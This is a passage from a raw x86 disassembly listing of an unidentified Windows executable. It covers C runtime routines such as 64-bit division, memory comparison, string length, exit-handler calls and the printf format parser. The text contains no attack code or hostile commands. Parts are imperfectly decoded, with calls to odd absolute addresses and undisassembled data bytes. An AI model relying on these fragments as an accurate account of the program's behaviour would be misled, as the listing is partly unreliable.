; sub_4196EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j ; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26B0365h cmp eax, 0FFFFFFFFh jnz short loc_419819 nop call near ptr 2670ADCh push eax call sub_41EF44 pop ecx loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_4CD9B4, 0Dh mov dword_4CD9B8, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F88+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_4CDA48, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4CDA58 call esi test eax, eax jnz loc_419AB2 nop call near ptr 2670ADCh cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_433C70 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4CDA58 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_4CDA48, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4CDA58 nop call near ptr 2650000h cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; --------------------------------------------------------------------------- mov eax, off_433C3C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: ___:00419ABFj push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_419B07 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp ; sub_41D4FC+3438p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: ___:00419AEDp ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4CD9FC, edi jnz short loc_419B24 push [esp+4+arg_0] nop call near ptr 27A0DABh push eax nop call near ptr 27F0BA6h loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4CD9F8, edi mov byte_4CD9F4, bl jnz short loc_419B78 mov eax, dword_4CF03C test eax, eax jz short loc_419B67 mov ecx, dword_4CF038 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_4CF03C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_4CD9FC, edi nop call near ptr 77E75CB5h loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: ___:00419ACDp ; ___:00419ADCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 27E0D27h test eax, eax jnz short loc_419BD0 call near ptr 2670ADCh nop jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- dd 3C121FDh, 61685D3Ah, 0BE9BF8AFh, 64F4402Ah, 0A1h, 89645000h dd 25h, 58EC8300h, 89575653h, 0E890E865h, 2437ED6h, 0D48AD233h dd 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h, 4CD9C8h dd 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h, 33004CD9h dd 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah, 59000000h dd 0E8FC7589h, 5967h, 7E4CE890h, 2CA30243h, 0E8004CF0h dd 5825h, 4CDA00A3h, 55CEE800h, 10E80000h, 0E8000055h dd 0FFFFFE3Ch, 8DD07589h, 9050A445h, 436377E8h, 54A1E802h dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h dd 9C75FF50h, 0C3E85656h, 90023270h, 49F7E850h, 4589FFFFh dd 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh, 0E8515098h dd 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; ___:0041F1D5p ... arg_0 = dword ptr 4 cmp dword_4CDA08, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_433C60 pop ecx pop ecx retn sub_419CDA endp ; --------------------------------------------------------------------------- db 83h dd 4CDA083Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h dd 68590000h, 0FFh, 0A5BF94E8h db 77h, 90h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172B0+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_4363A8 jz short loc_419D83 cmp esi, offset dword_4363C8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_4362F0 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172B0+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_433C70 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_433C6C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_433C68 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_435FD0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_435FDC pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_435FD4 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_433C68 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; 